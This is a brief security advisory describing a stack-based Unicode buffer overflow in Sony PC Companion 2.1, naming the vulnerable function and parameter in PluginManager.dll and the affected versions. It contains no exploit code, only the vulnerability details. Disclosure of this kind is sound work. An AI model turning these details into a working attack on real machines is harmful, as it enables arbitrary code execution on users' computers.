Sony PC Companion 2.1 Admin_RemoveDirectory() Unicode Buffer Overflow
`
Sony PC Companion 2.1 (Admin_RemoveDirectory()) Stack-based Unicode Buffer Overload SEH
Vendor: Sony Mobile Communications AB
Product web page: http://www.sonymobile.com
Affected version: 2.10.115 (Production 27.1, Build 830)
2.10.108 (Production 26.1, Build 818)
Summary: PC Companion is a computer application that acts as a portal
to Sony Xperia and operator features and applications, such as phone
software updates, management of contacts and calendar, media management
with Media Go, and a backup and restore feature for your phone content.
Desc: The vulnerability is caused due to a boundary error in PluginManager.dll
when handling the value assigned to the 'Path' item in the Admin_RemoveDirectory
function and can be exploited to cause a stack-based buffer overflow via an
overly long string which may lead to execution of arbitrary code on the affected
machine.
